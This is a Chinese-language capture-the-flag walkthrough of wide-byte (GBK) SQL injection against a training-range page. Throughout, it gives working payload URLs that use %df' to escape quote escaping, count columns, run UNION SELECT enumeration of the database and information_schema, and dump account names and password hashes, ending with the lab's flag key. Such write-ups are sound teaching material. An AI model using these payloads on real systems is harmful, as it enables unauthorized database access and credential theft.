前提知识:什么叫做宽字节注入??(GBK编码)
在计算机中,英文编码格式为一个字符,中文编码格式为两个字符,所以我们可以尝试利用两个英文编码格式转换成一个中文编码格式
以此来逃逸如转义字符 “/”的约束从而进行注入!!
一、判断注入点
--打开靶场我们发现首页并没有明显注入点,我们开始寻找其他的点进行注入
--找到注入点后点击进入
二、开始注入
1.判断存在注入
由于已经知道本题考查宽字节注入,所以我们设置payload为:
http://124.70.71.251:42628/new_list.php?id=1%df' and 1=2 order by 6 --+
payload解释:
对于%df表示一个可以与后续进行拼接成中文的字符(所以此项不唯一,只要符合上述宽字节注入的规则均可以)
and 1=2 表示false,若有错误可以直接爆出,便于使用order by进行判断列数并且查看回显
--+ 表示注释后续源码的sql语句代码
执行发现,出现未知列数,缩小范围为5
payload:
http://124.70.71.251:42628/new_list.php?id=1%df' and 1=2 order by 5 --+
发现已经无报错,所以该表共5列,开始联合注入
2.联合注入
法一
(1)查看回显位置
payload1:
http://124.70.71.251:42628/new_list.php?id=1%df' and 1=2 union select 1,2,3,4,5 --+
在回显处通过数据库中相应的函数进行查询
名称 | |
version() | 查看数据库版本 |
user() | 查看当前用户 |
database() | 查看当前数据库名 |
@@version_compile_os | 查看当前系统 |
@@datadir | 查看当前数据库路径 |
此表参考:sql注入详解-CSDN博客
(2)查看数据库信息
payload:
http://124.70.71.251:42628/new_list.php?id=12%df' union select 1,2,version(),4,user()--+
version():10.2.15-MariaDB-log
若mysql版本超过5.0存在information_schema数据库,其中存在所有表名的表、所有列的表
user():root@localhost
若为root用户则可以执行文件上传、跨库攻击等
(其他函数可以自行尝试)
database():mozhe_discuz_stormgroup
查看当前数据库
(3)查表名
表名;notice,stormgroup_member
payload:
http://124.70.71.251:42628/new_list.php
?id=12%df' union select 1,2,table_name,4,5 from information_schema.tables where table_schema=database() --+
(4)查字段名
字段:name,password,status
payload1:
http://124.70.71.251:42628/new_list.php
?id=12%df' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name='stormgroup_member' --+
但是发现此时报错,回想我们此时正在进行宽字节注入,所以我们尝试将stormgroup_member进行Ascii编码十六进制进行注入
http://124.70.71.251:42628/new_list.php
?id=12%df' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=0x73746f726d67726f75705f6d656d626572 --+
payload2:此时仅剩下两个表我们可以如此制定
http://124.70.71.251:42331/new_list.php
?id=-1%df' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)--+”
此时limit1,1表示从第2列开始计算,查询1列
参考文章:宽字节注入讲解-墨者学院(SQL注入漏洞测试(宽字节))_宽字节注入原理-CSDN博客
(5)查密码、账号
paylaod:
http://124.70.71.251:41693/new_list.php?id=12%df' union select 1,2,group_concat(password),4,group_concat(name) from stormgroup_member --+
(6)提交
key:mozhe50b5380211ae734baaf1b244494
至此查出账号密码进行md5解密提交key即可
法二
payload2:http://124.70.71.251:42628/new_list.php?id=-1%df' union select 1,2,3,4,5 --+
此处id=-1也是为了不让union语句前面逻辑执行,爆出错误便于查看所爆出的列是哪一个
所以开放一下思维:使用id=-2可不可以,或者是10086??答案是可以
只要没有实际对应的id=参数的页面均可以!
攻击方法类似只是单纯提出构造payload的形式区别